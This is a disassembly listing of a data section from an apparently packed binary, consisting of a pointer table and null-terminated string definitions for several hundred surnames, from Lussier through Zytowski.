dd offset aLussier ; "Lussier"
dd offset aLutcavage ; "Lutcavage"
dd offset aLuzader ; "Luzader"
dd offset aMa ; "Ma"
dd offset aMaccormac ; "Maccormac"
dd offset aMacdonald ; "Macdonald"
dd offset aMaceachern ; "Maceachern"
dd offset aMacintyre ; "Macintyre"
dd offset aMackenney ; "Mackenney"
dd offset aMacmillan ; "MacMillan"
dd offset aMacy ; "Macy"
dd offset aMadigan ; "Madigan"
dd offset aMaggio ; "Maggio"
dd offset aMahony ; "Mahony"
dd offset aMaier ; "Maier"
dd offset aMaineHershey ; "Maine-Hershey"
dd offset aMaisano ; "Maisano"
dd offset aMalatesta ; "Malatesta"
dd offset aMaller ; "Maller"
dd offset aMalova ; "Malova"
dd offset aManalis ; "Manalis"
dd offset aMandel ; "Mandel"
dd offset aManganiello ; "Manganiello"
dd offset aMantovan ; "Mantovan"
dd offset aMarch ; "March"
dd offset aMarchbanks ; "Marchbanks"
dd offset aMarcus ; "Marcus"
dd offset aMargalit ; "Margalit"
dd offset aMargetts ; "Margetts"
dd offset aMarques ; "Marques"
dd offset aMartinez ; "Martinez"
dd offset aMartochio ; "Martochio"
dd offset aMarton ; "Marton"
dd offset aMarubini ; "Marubini"
dd offset aMass ; "Mass"
dd offset aMatalka ; "Matalka"
dd offset aMatarazzo ; "Matarazzo"
dd offset aMatsukata ; "Matsukata"
dd offset aMattson ; "Mattson"
dd offset aMauzy ; "Mauzy"
dd offset aMay ; "May"
dd offset aMazzali ; "Mazzali"
dd offset aMazziotta ; "Mazziotta"
dd offset aMcbride ; "Mcbride"
dd offset aMccaffery ; "Mccaffery"
dd offset aMccall ; "Mccall"
dd offset aMcclearn ; "Mcclearn"
dd offset aMcdowell ; "Mcdowell"
dd offset aMcelroy ; "Mcelroy"
dd offset aMcfadden ; "McFadden"
dd offset aMcghee ; "Mcghee"
dd offset aMcgoldrick ; "Mcgoldrick"
dd offset aMcilroy ; "McIlroy"
dd offset aMcintosh ; "Mcintosh"
dd offset aMckenna ; "Mckenna"
dd offset aMclane ; "Mclane"
dd offset aMclaren ; "Mclaren"
dd offset aMcnealy ; "Mcnealy"
dd offset aMcnulty ; "Mcnulty"
dd offset aMeccariello ; "Meccariello"
dd offset aMemisoglu ; "Memisoglu"
dd offset aMenzies ; "Menzies"
dd offset aMerikoski ; "Merikoski"
dd offset aMerlani ; "Merlani"
dd offset aMerminod ; "Merminod"
dd offset aMerseth ; "Merseth"
dd offset aMerz ; "Merz"
dd offset aMetelka ; "Metelka"
dd offset aMetropolis ; "Metropolis"
dd offset aMeurer ; "Meurer"
dd offset aMichelman ; "Michelman"
dd offset aMiddle ; "Middle"
dd offset aMieher ; "Mieher"
dd offset aMills ; "Mills"
dd offset aMinh ; "Minh"
dd offset aMini ; "Mini"
dd offset aMinichiello ; "Minichiello"
dd offset aGonzalez ; "Gonzalez"
dd offset aMitropoulos ; "Mitropoulos"
dd offset aMittal ; "Mittal"
dd offset aMocroft ; "Mocroft"
dd offset aModestino ; "Modestino"
dd offset aMoeller ; "Moeller"
dd offset aMohr ; "Mohr"
dd offset aMoiamedi ; "Moiamedi"
dd offset aMonque ; "Monque"
dd offset aMontilio ; "Montilio"
dd offset aMooredech_ ; "MooreDeCh."
dd offset aMorani ; "Morani"
dd offset aMoreton ; "Moreton"
dd offset aMorrison ; "Morrison"
dd offset aMorrow ; "Morrow"
dd offset aMortimer ; "Mortimer"
dd offset aMosher ; "Mosher"
dd offset aMosler ; "Mosler"
dd offset aMostafavi ; "Mostafavi"
dd offset aMotooka ; "Motooka"
dd offset aMudarri ; "Mudarri"
dd offset aMuello ; "Muello"
dd offset aMugnai ; "Mugnai"
dd offset aMulkern ; "Mulkern"
dd offset aMulroy ; "Mulroy"
dd offset aMumford ; "Mumford"
dd offset aMussachio ; "Mussachio"
dd offset aNaddeo ; "Naddeo"
dd offset aNapolitano ; "Napolitano"
dd offset aNardi ; "Nardi"
dd offset aNardone ; "Nardone"
dd offset aNaviaux ; "Naviaux"
dd offset aNayduch ; "Nayduch"
dd offset aNelson ; "Nelson"
dd offset aNenna ; "Nenna"
dd offset aNesci ; "Nesci"
dd offset aNeuman ; "Neuman"
dd offset aNewfeld ; "Newfeld"
dd offset aNewlin ; "Newlin"
dd offset aNg ; "Ng"
dd offset aNi_0 ; "Ni"
dd offset aNickerson ; "Nickerson"
dd offset aNickoloff ; "Nickoloff"
dd offset aNisenson ; "Nisenson"
dd offset aNitabach ; "Nitabach"
dd offset aNotman ; "Notman"
dd offset aNuzum ; "Nuzum"
dd offset aOcougne ; "Ocougne"
dd offset aOgata ; "Ogata"
dd offset aOh ; "Oh"
dd offset aOHagan ; "O'hagan"
dd offset aOldford ; "Oldford"
dd offset aOlsen ; "Olsen"
dd offset aOlson ; "Olson"
dd offset aOlszewski ; "Olszewski"
dd offset aOMalley ; "O'malley"
dd offset aOman ; "Oman"
dd offset aOMeara ; "O'meara"
dd offset aOpel ; "Opel"
dd offset aOray ; "Oray"
dd offset aOrfield ; "Orfield"
dd offset aOrsi ; "Orsi"
dd offset aOspina ; "Ospina"
dd offset aOstrowski ; "Ostrowski"
dd offset aOttaviani ; "Ottaviani"
dd offset aOtten ; "Otten"
dd offset aOuchida ; "Ouchida"
dd offset aOvid ; "Ovid"
dd offset aPaesdealmeida ; "PaesDealmeida"
dd offset aPaine ; "Paine"
dd offset aPalayoor ; "Palayoor"
dd offset aPalepu ; "Palepu"
dd offset aPallara ; "Pallara"
dd offset aPalmitesta ; "Palmitesta"
dd offset aPanadero ; "Panadero"
dd offset aPanizzon ; "Panizzon"
dd offset aPantilla ; "Pantilla"
dd offset aPaoletti ; "Paoletti"
dd offset aParmeggiani ; "Parmeggiani"
dd offset aParris ; "Parris"
dd offset aPartridge ; "Partridge"
dd offset aPascucci ; "Pascucci"
dd offset aPatefield ; "Patefield"
dd offset aPatrick ; "Patrick"
dd offset aPattullo ; "Pattullo"
dd offset aPavetti ; "Pavetti"
dd offset aPavlon ; "Pavlon"
dd offset aPawloski ; "Pawloski"
dd offset aPaynter ; "Paynter"
dd offset aPeabody ; "Peabody"
dd offset aPearlberg ; "Pearlberg"
dd offset aPederson ; "Pederson"
dd offset aPeishel ; "Peishel"
dd offset aPenny ; "Penny"
dd offset aPereira ; "Pereira"
dd offset aPerko ; "Perko"
dd offset aPerlak ; "Perlak"
dd offset aPerlman ; "Perlman"
dd offset aPerna ; "Perna"
dd offset aPerone ; "Perone"
dd offset aPerrimon ; "Perrimon"
dd offset aPeters ; "Peters"
dd offset aPetruzello ; "Petruzello"
dd offset aPettibone ; "Pettibone"
dd offset aPettit ; "Pettit"
dd offset aPfister ; "Pfister"
dd offset aPilbeam ; "Pilbeam"
dd offset aPinot ; "Pinot"
dd offset aPlancon ; "Plancon"
dd offset aPlant ; "Plant"
dd offset aPlasket ; "Plasket"
dd offset aPlous ; "Plous"
dd offset aPo ; "Po"
dd offset aPocobene ; "Pocobene"
dd offset aPoincaire ; "Poincaire"
dd offset aPointer ; "Pointer"
dd offset aPoirier ; "Poirier"
dd offset aPolak ; "Polak"
dd offset aPolanyi ; "Polanyi"
dd offset aPolitis ; "Politis"
dd offset aPoma ; "Poma"
dd offset aPoolman ; "Poolman"
dd offset aPowers ; "Powers"
dd offset aPresper ; "Presper"
dd offset aPreucel ; "Preucel"
dd offset aPrevost ; "Prevost"
dd offset aPritchard ; "Pritchard"
dd offset aPritz ; "Pritz"
dd offset aProietti ; "Proietti"
dd offset aProthrowStith ; "Prothrow-Stith"
dd offset aPuccia ; "Puccia"
dd offset aPugh ; "Pugh"
dd offset aPynchon ; "Pynchon"
dd offset aQuaday ; "Quaday"
dd offset aQuetin ; "Quetin"
dd offset aRabe ; "Rabe"
dd offset aRabkin ; "Rabkin"
dd offset aRadeke ; "Radeke"
dd offset aRajagopalan ; "Rajagopalan"
dd offset aRaney ; "Raney"
dd offset aRangan ; "Rangan"
dd offset aRankin ; "Rankin"
dd offset aRapple ; "Rapple"
dd offset aRayport ; "Rayport"
dd offset aReddenTyler ; "Redden-Tyler"
dd offset aReedquist ; "Reedquist"
dd offset aCunningham ; "Cunningham"
dd offset aReinold ; "Reinold"
dd offset aRemak ; "Remak"
dd offset aRenick ; "Renick"
dd offset aRepetto ; "Repetto"
dd offset aResnik ; "Resnik"
dd offset aRhea ; "Rhea"
dd offset aRichmond ; "Richmond"
dd offset aRielly ; "Rielly"
dd offset aRindos ; "Rindos"
dd offset aRineer ; "Rineer"
dd offset aRish ; "Rish"
dd offset aRivera ; "Rivera"
dd offset aRobinson ; "Robinson"
dd offset aRocha ; "Rocha"
dd offset aRoesler ; "Roesler"
dd offset aRogers ; "Rogers"
dd offset aRonen ; "Ronen"
dd offset aRow ; "Row"
dd offset aRoyal ; "Royal"
dd offset aRu ; "Ru"
dd offset aRuan ; "Ruan"
dd offset aRuderman ; "Ruderman"
dd offset aRuescher ; "Ruescher"
dd offset aRush ; "Rush"
dd offset aRyu ; "Ryu"
dd offset aSabatello ; "Sabatello"
dd offset aSadler ; "Sadler"
dd offset aSafire ; "Safire"
dd offset aSahu ; "Sahu"
dd offset aSali ; "Sali"
dd offset aSamson ; "Samson"
dd offset aSanchezRamirez ; "Sanchez-Ramirez"
dd offset aSanna ; "Sanna"
dd offset aSapers ; "Sapers"
dd offset aSarin ; "Sarin"
dd offset aSartore ; "Sartore"
dd offset aSase ; "Sase"
dd offset aSatin ; "Satin"
dd offset aSatta ; "Satta"
dd offset aSatterthwaite ; "Satterthwaite"
dd offset aSawtell ; "Sawtell"
dd offset aSayied ; "Sayied"
dd offset aScarponi ; "Scarponi"
dd offset aScepan ; "Scepan"
dd offset aScharf ; "Scharf"
dd offset aScharlemann ; "Scharlemann"
dd offset aScheiner ; "Scheiner"
dd offset aSchiano ; "Schiano"
dd offset aSchifini ; "Schifini"
dd offset aSchilling ; "Schilling"
dd offset aSchmitt ; "Schmitt"
dd offset aSchossberger ; "Schossberger"
dd offset aSchuman ; "Schuman"
dd offset aSchutte ; "Schutte"
dd offset aSchuyler ; "Schuyler"
dd offset aSchwan ; "Schwan"
dd offset aSchwickrath ; "Schwickrath"
dd offset aScovel ; "Scovel"
dd offset aScudder ; "Scudder"
dd offset aSeaton ; "Seaton"
dd offset aSeeber ; "Seeber"
dd offset aSegal ; "Segal"
dd offset aSekler ; "Sekler"
dd offset aSelvage ; "Selvage"
dd offset aSen ; "Sen"
dd offset aSennett ; "Sennett"
dd offset aSeterdahl ; "Seterdahl"
dd offset aSexton ; "Sexton"
dd offset aSeyfert ; "Seyfert"
dd offset aShaikh ; "Shaikh"
dd offset aShakis ; "Shakis"
dd offset aShankland ; "Shankland"
dd offset aShanley ; "Shanley"
dd offset aShar ; "Shar"
dd offset aShatrov ; "Shatrov"
dd offset aShavelson ; "Shavelson"
dd offset aShea ; "Shea"
dd offset aSheats ; "Sheats"
dd offset aShepherd ; "Shepherd"
dd offset aSheppard ; "Sheppard"
dd offset aShepstone ; "Shepstone"
dd offset aShesko ; "Shesko"
dd offset aShia ; "Shia"
dd offset aShibata ; "Shibata"
dd offset aShimon ; "Shimon"
dd offset aSiesto ; "Siesto"
dd offset aSigalot ; "Sigalot"
dd offset aSigini ; "Sigini"
dd offset aSigna ; "Signa"
dd offset aSilverman ; "Silverman"
dd offset aSilvetti ; "Silvetti"
dd offset aSinsabaugh ; "Sinsabaugh"
dd offset aSirilli ; "Sirilli"
dd offset aSites ; "Sites"
dd offset aSkane ; "Skane"
dd offset aSkerry ; "Skerry"
dd offset aSkoda ; "Skoda"
dd offset aSloan ; "Sloan"
dd offset aSlowe ; "Slowe"
dd offset aSmilow ; "Smilow"
dd offset aSniffen ; "Sniffen"
dd offset aSnodgrass ; "Snodgrass"
dd offset aSocolow ; "Socolow"
dd offset aSolon ; "Solon"
dd offset aSomers ; "Somers"
dd offset aSommariva ; "Sommariva"
dd offset aSorabella ; "Sorabella"
dd offset aSorg ; "Sorg"
dd offset aSottak ; "Sottak"
dd offset aSoukup ; "Soukup"
dd offset aSoule ; "Soule"
dd offset aSoultanian ; "Soultanian"
dd offset aSpanier ; "Spanier"
dd offset aSparrow ; "Sparrow"
dd offset aSpaulding ; "Spaulding"
dd offset aSpeizer ; "Speizer"
dd offset aSpence ; "Spence"
dd offset aSperber ; "Sperber"
dd offset aSpicer ; "Spicer"
dd offset aSpiegelhalter ; "Spiegelhalter"
dd offset aSpiliotis ; "Spiliotis"
dd offset aSpinrad ; "Spinrad"
dd offset aStmartin ; "StMartin"
dd offset aStalvey ; "Stalvey"
dd offset aStam ; "Stam"
dd offset aStang ; "Stang"
dd offset aStassinopolus ; "Stassinopolus"
dd offset aStates ; "States"
dd offset aStatlender ; "Statlender"
dd offset aStefani ; "Stefani"
dd offset aSteiner ; "Steiner"
dd offset aStephanian ; "Stephanian"
dd offset aStepniewska ; "Stepniewska"
dd offset aStewartOaten ; "Stewart-Oaten"
dd offset aStiepock ; "Stiepock"
dd offset aStillwell ; "Stillwell"
dd offset aStock ; "Stock"
dd offset aStockton ; "Stockton"
dd offset aStockwell ; "Stockwell"
dd offset aStolzenberg ; "Stolzenberg"
dd offset aStonich ; "Stonich"
dd offset aStorer ; "Storer"
dd offset aStott ; "Stott"
dd offset aStrange ; "Strange"
dd offset aStrauch ; "Strauch"
dd offset aStreiff ; "Streiff"
dd offset aStringer ; "Stringer"
dd offset aSullivan ; "Sullivan"
dd offset aSumner ; "Sumner"
dd offset aSuo ; "Suo"
dd offset aSurdam ; "Surdam"
dd offset aSweeting ; "Sweeting"
dd offset aSweetser ; "Sweetser"
dd offset aSwindle ; "Swindle"
dd offset aTagiuri ; "Tagiuri"
dd offset aTai ; "Tai"
dd offset aTalaugon ; "Talaugon"
dd offset aTambiah ; "Tambiah"
dd offset aTandler ; "Tandler"
dd offset aTanowitz ; "Tanowitz"
dd offset aTatar ; "Tatar"
dd offset aTaveras ; "Taveras"
dd offset aTawn ; "Tawn"
dd offset aTcherepnin ; "Tcherepnin"
dd offset aTeague ; "Teague"
dd offset aTemes ; "Temes"
dd offset aTemmer ; "Temmer"
dd offset aTenney ; "Tenney"
dd offset aTerracini ; "Terracini"
dd offset aThan ; "Than"
dd offset aThavaneswaran ; "Thavaneswaran"
dd offset aTheodos ; "Theodos"
dd offset aThibault ; "Thibault"
dd offset aThisted ; "Thisted"
dd offset aThomsen ; "Thomsen"
dd offset aThroop ; "Throop"
dd offset aTierney ; "Tierney"
dd offset aTill ; "Till"
dd offset aTimmons ; "Timmons"
dd offset aTofallis ; "Tofallis"
dd offset aTollestrup ; "Tollestrup"
dd offset aTolls ; "Tolls"
dd offset aTolman ; "Tolman"
dd offset aTomford ; "Tomford"
dd offset aToomer ; "Toomer"
dd offset aTopulos ; "Topulos"
dd offset aTorresi ; "Torresi"
dd offset aTorske ; "Torske"
dd offset aTowler ; "Towler"
dd offset aToye ; "Toye"
dd offset aTraebert ; "Traebert"
dd offset aTrenga ; "Trenga"
dd offset aTrewin ; "Trewin"
dd offset aTringali ; "Tringali"
dd offset aTroiani ; "Troiani"
dd offset aTroy ; "Troy"
dd offset aTruss ; "Truss"
dd offset aTsiatis ; "Tsiatis"
dd offset aTsomides ; "Tsomides"
dd offset aTsukurov ; "Tsukurov"
dd offset aTuck ; "Tuck"
dd offset aTudge ; "Tudge"
dd offset aTukan ; "Tukan"
dd offset aTurano ; "Turano"
dd offset aTurek ; "Turek"
dd offset aTuttle ; "Tuttle"
dd offset aTwells ; "Twells"
dd offset aTzamarias ; "Tzamarias"
dd offset aUllman ; "Ullman"
dd offset aUntermeyer ; "Untermeyer"
dd offset aUpsdell ; "Upsdell"
dd offset aUrban ; "Urban"
dd offset aUrdangBrown ; "Urdang-Brown"
dd offset aUsdan ; "Usdan"
dd offset aUzuner ; "Uzuner"
dd offset aVacca ; "Vacca"
dd offset aWaite ; "Waite"
dd offset aValberg ; "Valberg"
dd offset aValencia ; "Valencia"
dd offset aWales ; "Wales"
dd offset aWallenberg ; "Wallenberg"
dd offset aWalter ; "Walter"
dd offset aVanallen ; "vanAllen"
dd offset aVanzwet ; "VanZwet"
dd offset aVandenberg ; "Vandenberg"
dd offset aVanheeckeren ; "Vanheeckeren"
dd offset aWarshafsky ; "Warshafsky"
dd offset aWasowska ; "Wasowska"
dd offset aVasquez ; "Vasquez"
dd offset aWaugh ; "Waugh"
dd offset aWeighart ; "Weighart"
dd offset aWeingarten ; "Weingarten"
dd offset aWeinhaus ; "Weinhaus"
dd offset aWeissbourd ; "Weissbourd"
dd offset aWeissman ; "Weissman"
dd offset aVelasquez ; "Velasquez"
dd offset aWelles ; "Welles"
dd offset aWelsh ; "Welsh"
dd offset aWengret ; "Wengret"
dd offset aVenne ; "Venne"
dd offset aVerghese ; "Verghese"
dd offset aWescott ; "Wescott"
dd offset aWetzel ; "Wetzel"
dd offset aWhately ; "Whately"
dd offset aWhilton ; "Whilton"
dd offset aWhite ; "White"
dd offset aWhitla ; "Whitla"
dd offset aWhittaker ; "Whittaker"
dd offset aViana ; "Viana"
dd offset aViano ; "Viano"
dd offset aWiedersheim ; "Wiedersheim"
dd offset aWiener ; "Wiener"
dd offset aViens ; "Viens"
dd offset aVignola ; "Vignola"
dd offset aWilder ; "Wilder"
dd offset aWilhelm ; "Wilhelm"
dd offset aWilk ; "Wilk"
dd offset aWilkin ; "Wilkin"
dd offset aWilkinson ; "Wilkinson"
dd offset aVillarreal ; "Villarreal"
dd offset aWillstatter ; "Willstatter"
dd offset aWilson ; "Wilson"
dd offset aVitali ; "Vitali"
dd offset aViviani ; "Viviani"
dd offset aVoigt ; "Voigt"
dd offset aWolk ; "Wolk"
dd offset aVonhoffman ; "VonHoffman"
dd offset aWoo ; "Woo"
dd offset aWooden ; "Wooden"
dd offset aWoods ; "Woods"
dd offset aWoodsPowell ; "Woods-Powell"
dd offset aVorhaus ; "Vorhaus"
dd offset aVotey ; "Votey"
dd offset aYacono ; "Yacono"
dd offset aYamane ; "Yamane"
dd offset aYankee ; "Yankee"
dd offset aYarchuk ; "Yarchuk"
dd offset aYates ; "Yates"
dd offset aYbarra ; "Ybarra"
dd offset aYedidia ; "Yedidia"
dd offset aYesson ; "Yesson"
dd offset aYetiv ; "Yetiv"
dd offset aYoffe ; "Yoffe"
dd offset aYoo ; "Yoo"
dd offset aYoukSee ; "Youk-See"
dd offset aYu ; "Yu"
dd offset aZachary ; "Zachary"
dd offset aZahedi ; "Zahedi"
dd offset aZangwill ; "Zangwill"
dd offset aZegans ; "Zegans"
dd offset aZerbini ; "Zerbini"
dd offset aZoldak ; "Zoldak"
dd offset aZucconi ; "Zucconi"
dd offset aZurn ; "Zurn"
dd offset aZwiers ; "Zwiers"
dd offset aZytowski ; "Zytowski"
aZytowski db 'Zytowski',0 ; DATA XREF: .packed:0042FEC8o
align 4
aZwiers db 'Zwiers',0 ; DATA XREF: .packed:0042FEC4o
align 10h
aZurn db 'Zurn',0 ; DATA XREF: .packed:0042FEC0o
align 4
aZucconi db 'Zucconi',0 ; DATA XREF: .packed:0042FEBCo
aZoldak db 'Zoldak',0 ; DATA XREF: .packed:0042FEB8o
align 4
aZerbini db 'Zerbini',0 ; DATA XREF: .packed:0042FEB4o
aZegans db 'Zegans',0 ; DATA XREF: .packed:0042FEB0o
align 4
aZangwill db 'Zangwill',0 ; DATA XREF: .packed:0042FEACo
align 4
aZahedi db 'Zahedi',0 ; DATA XREF: .packed:0042FEA8o
align 4
aZachary db 'Zachary',0 ; DATA XREF: .packed:0042FEA4o
aYu db 'Yu',0 ; DATA XREF: .packed:0042FEA0o
align 4
aYoukSee db 'Youk-See',0 ; DATA XREF: .packed:0042FE9Co
align 4
aYoo db 'Yoo',0 ; DATA XREF: .packed:0042FE98o
aYoffe db 'Yoffe',0 ; DATA XREF: .packed:0042FE94o
align 10h
aYetiv db 'Yetiv',0 ; DATA XREF: .packed:0042FE90o
align 4
aYesson db 'Yesson',0 ; DATA XREF: .packed:0042FE8Co
align 10h
aYedidia db 'Yedidia',0 ; DATA XREF: .packed:0042FE88o
aYbarra db 'Ybarra',0 ; DATA XREF: .packed:0042FE84o
align 10h
aYates db 'Yates',0 ; DATA XREF: .packed:0042FE80o
align 4
aYarchuk db 'Yarchuk',0 ; DATA XREF: .packed:0042FE7Co
aYankee db 'Yankee',0 ; DATA XREF: .packed:0042FE78o
align 4
aYamane db 'Yamane',0 ; DATA XREF: .packed:0042FE74o
align 10h
aYacono db 'Yacono',0 ; DATA XREF: .packed:0042FE70o
align 4
aVotey db 'Votey',0 ; DATA XREF: .packed:0042FE6Co
align 10h
aVorhaus db 'Vorhaus',0 ; DATA XREF: .packed:0042FE68o
aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: .packed:0042FE64o
align 4
aWoods db 'Woods',0 ; DATA XREF: .packed:0042FE60o
align 10h
aWooden db 'Wooden',0 ; DATA XREF: .packed:0042FE5Co
align 4
aWoo db 'Woo',0 ; DATA XREF: .packed:0042FE58o
aVonhoffman db 'VonHoffman',0 ; DATA XREF: .packed:0042FE54o
align 4
aWolk db 'Wolk',0 ; DATA XREF: .packed:0042FE50o
align 10h
aVoigt db 'Voigt',0 ; DATA XREF: .packed:0042FE4Co
align 4
aViviani db 'Viviani',0 ; DATA XREF: .packed:0042FE48o
aVitali db 'Vitali',0 ; DATA XREF: .packed:0042FE44o
align 4
aWilson db 'Wilson',0 ; DATA XREF: .packed:0042FE40o
align 10h
aWillstatter db 'Willstatter',0 ; DATA XREF: .packed:0042FE3Co
aVillarreal db 'Villarreal',0 ; DATA XREF: .packed:0042FE38o
align 4
aWilkinson db 'Wilkinson',0 ; DATA XREF: .packed:0042FE34o
align 4
aWilkin db 'Wilkin',0 ; DATA XREF: .packed:0042FE30o
align 4
aWilk db 'Wilk',0 ; DATA XREF: .packed:0042FE2Co
align 4
aWilhelm db 'Wilhelm',0 ; DATA XREF: .packed:0042FE28o
aWilder db 'Wilder',0 ; DATA XREF: .packed:0042FE24o
align 4
aVignola db 'Vignola',0 ; DATA XREF: .packed:0042FE20o
aViens db 'Viens',0 ; DATA XREF: .packed:0042FE1Co
align 4
aWiener db 'Wiener',0 ; DATA XREF: .packed:0042FE18o
align 4
aWiedersheim db 'Wiedersheim',0 ; DATA XREF: .packed:0042FE14o
aViano db 'Viano',0 ; DATA XREF: .packed:0042FE10o
align 10h
aViana db 'Viana',0 ; DATA XREF: .packed:0042FE0Co
align 4
aWhittaker db 'Whittaker',0 ; DATA XREF: .packed:0042FE08o
align 4
aWhitla db 'Whitla',0 ; DATA XREF: .packed:0042FE04o
align 4
aWhite db 'White',0 ; DATA XREF: .packed:0042FE00o
align 4
aWhilton db 'Whilton',0 ; DATA XREF: .packed:0042FDFCo
aWhately db 'Whately',0 ; DATA XREF: .packed:0042FDF8o
aWetzel db 'Wetzel',0 ; DATA XREF: .packed:0042FDF4o
align 4
aWescott db 'Wescott',0 ; DATA XREF: .packed:0042FDF0o
aVerghese db 'Verghese',0 ; DATA XREF: .packed:0042FDECo
align 10h
aVenne db 'Venne',0 ; DATA XREF: .packed:0042FDE8o
align 4
aWengret db 'Wengret',0 ; DATA XREF: .packed:0042FDE4o
aWelsh db 'Welsh',0 ; DATA XREF: .packed:0042FDE0o
align 4
aWelles db 'Welles',0 ; DATA XREF: .packed:0042FDDCo
align 10h
aVelasquez db 'Velasquez',0 ; DATA XREF: .packed:0042FDD8o
align 4
aWeissman db 'Weissman',0 ; DATA XREF: .packed:0042FDD4o
align 4
aWeissbourd db 'Weissbourd',0 ; DATA XREF: .packed:0042FDD0o
align 4
aWeinhaus db 'Weinhaus',0 ; DATA XREF: .packed:0042FDCCo
align 10h
aWeingarten db 'Weingarten',0 ; DATA XREF: .packed:0042FDC8o
align 4
aWeighart db 'Weighart',0 ; DATA XREF: .packed:0042FDC4o
align 4
aWaugh db 'Waugh',0 ; DATA XREF: .packed:0042FDC0o
align 10h
aVasquez db 'Vasquez',0 ; DATA XREF: .packed:0042FDBCo
aWasowska db 'Wasowska',0 ; DATA XREF: .packed:0042FDB8o
align 4
aWarshafsky db 'Warshafsky',0 ; DATA XREF: .packed:0042FDB4o
align 10h
aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: .packed:0042FDB0o
align 10h
aVandenberg db 'Vandenberg',0 ; DATA XREF: .packed:0042FDACo
align 4
aVanzwet db 'VanZwet',0 ; DATA XREF: .packed:0042FDA8o
aVanallen db 'vanAllen',0 ; DATA XREF: .packed:0042FDA4o
align 10h
aWalter db 'Walter',0 ; DATA XREF: .packed:0042FDA0o
align 4
aWallenberg db 'Wallenberg',0 ; DATA XREF: .packed:0042FD9Co
align 4
aWales db 'Wales',0 ; DATA XREF: .packed:0042FD98o
align 4
aValencia db 'Valencia',0 ; DATA XREF: .packed:0042FD94o
align 4
aValberg db 'Valberg',0 ; DATA XREF: .packed:0042FD90o
aWaite db 'Waite',0 ; DATA XREF: .packed:0042FD8Co
align 4
aVacca db 'Vacca',0 ; DATA XREF: .packed:0042FD88o
align 10h
aUzuner db 'Uzuner',0 ; DATA XREF: .packed:0042FD84o
align 4
aUsdan db 'Usdan',0 ; DATA XREF: .packed:0042FD80o
align 10h
aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: .packed:0042FD7Co
align 10h
aUrban db 'Urban',0 ; DATA XREF: .packed:0042FD78o
align 4
aUpsdell db 'Upsdell',0 ; DATA XREF: .packed:0042FD74o
aUntermeyer db 'Untermeyer',0 ; DATA XREF: .packed:0042FD70o
align 4
aUllman db 'Ullman',0 ; DATA XREF: .packed:0042FD6Co
align 4
aTzamarias db 'Tzamarias',0 ; DATA XREF: .packed:0042FD68o
align 10h
aTwells db 'Twells',0 ; DATA XREF: .packed:0042FD64o
align 4
aTuttle db 'Tuttle',0 ; DATA XREF: .packed:0042FD60o
align 10h
aTurek db 'Turek',0 ; DATA XREF: .packed:0042FD5Co
align 4
aTurano db 'Turano',0 ; DATA XREF: .packed:0042FD58o
align 10h
aTukan db 'Tukan',0 ; DATA XREF: .packed:0042FD54o
align 4
aTudge db 'Tudge',0 ; DATA XREF: .packed:0042FD50o
align 10h
aTuck db 'Tuck',0 ; DATA XREF: .packed:0042FD4Co
align 4
aTsukurov db 'Tsukurov',0 ; DATA XREF: .packed:0042FD48o
align 4
aTsomides db 'Tsomides',0 ; DATA XREF: .packed:0042FD44o
align 10h
aTsiatis db 'Tsiatis',0 ; DATA XREF: .packed:0042FD40o
aTruss db 'Truss',0 ; DATA XREF: .packed:0042FD3Co
align 10h
aTroy db 'Troy',0 ; DATA XREF: .packed:0042FD38o
align 4
aTroiani db 'Troiani',0 ; DATA XREF: .packed:0042FD34o
aTringali db 'Tringali',0 ; DATA XREF: .packed:0042FD30o
align 4
aTrewin db 'Trewin',0 ; DATA XREF: .packed:0042FD2Co
align 4
aTrenga db 'Trenga',0 ; DATA XREF: .packed:0042FD28o
align 4
aTraebert db 'Traebert',0 ; DATA XREF: .packed:0042FD24o
align 4
aToye db 'Toye',0 ; DATA XREF: .packed:0042FD20o
align 10h
aTowler db 'Towler',0 ; DATA XREF: .packed:0042FD1Co
align 4
aTorske db 'Torske',0 ; DATA XREF: .packed:0042FD18o
align 10h
aTorresi db 'Torresi',0 ; DATA XREF: .packed:0042FD14o
aTopulos db 'Topulos',0 ; DATA XREF: .packed:0042FD10o
aToomer db 'Toomer',0 ; DATA XREF: .packed:0042FD0Co
align 4
aTomford db 'Tomford',0 ; DATA XREF: .packed:0042FD08o
aTolman db 'Tolman',0 ; DATA XREF: .packed:0042FD04o
align 4
aTolls db 'Tolls',0 ; DATA XREF: .packed:0042FD00o
align 10h
aTollestrup db 'Tollestrup',0 ; DATA XREF: .packed:0042FCFCo
align 4
aTofallis db 'Tofallis',0 ; DATA XREF: .packed:0042FCF8o
align 4
aTimmons db 'Timmons',0 ; DATA XREF: .packed:0042FCF4o
aTill db 'Till',0 ; DATA XREF: .packed:0042FCF0o
align 4
aTierney db 'Tierney',0 ; DATA XREF: .packed:0042FCECo
aThroop db 'Throop',0 ; DATA XREF: .packed:0042FCE8o
align 4
aThomsen db 'Thomsen',0 ; DATA XREF: .packed:0042FCE4o
aThisted db 'Thisted',0 ; DATA XREF: .packed:0042FCE0o
aThibault db 'Thibault',0 ; DATA XREF: .packed:0042FCDCo
align 4
aTheodos db 'Theodos',0 ; DATA XREF: .packed:0042FCD8o
aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: .packed:0042FCD4o
align 4
aThan db 'Than',0 ; DATA XREF: .packed:0042FCD0o
align 4
aTerracini db 'Terracini',0 ; DATA XREF: .packed:0042FCCCo
align 10h
aTenney db 'Tenney',0 ; DATA XREF: .packed:0042FCC8o
align 4
aTemmer db 'Temmer',0 ; DATA XREF: .packed:0042FCC4o
align 10h
aTemes db 'Temes',0 ; DATA XREF: .packed:0042FCC0o
align 4
aTeague db 'Teague',0 ; DATA XREF: .packed:0042FCBCo
align 10h
aTcherepnin db 'Tcherepnin',0 ; DATA XREF: .packed:0042FCB8o
align 4
aTawn db 'Tawn',0 ; DATA XREF: .packed:0042FCB4o
align 4
aTaveras db 'Taveras',0 ; DATA XREF: .packed:0042FCB0o
aTatar db 'Tatar',0 ; DATA XREF: .packed:0042FCACo
align 4
aTanowitz db 'Tanowitz',0 ; DATA XREF: .packed:0042FCA8o
align 10h
aTandler db 'Tandler',0 ; DATA XREF: .packed:0042FCA4o
aTambiah db 'Tambiah',0 ; DATA XREF: .packed:0042FCA0o
aTalaugon db 'Talaugon',0 ; DATA XREF: .packed:0042FC9Co
align 4
aTai db 'Tai',0 ; DATA XREF: .packed:0042FC98o
aTagiuri db 'Tagiuri',0 ; DATA XREF: .packed:0042FC94o
aSwindle db 'Swindle',0 ; DATA XREF: .packed:0042FC90o
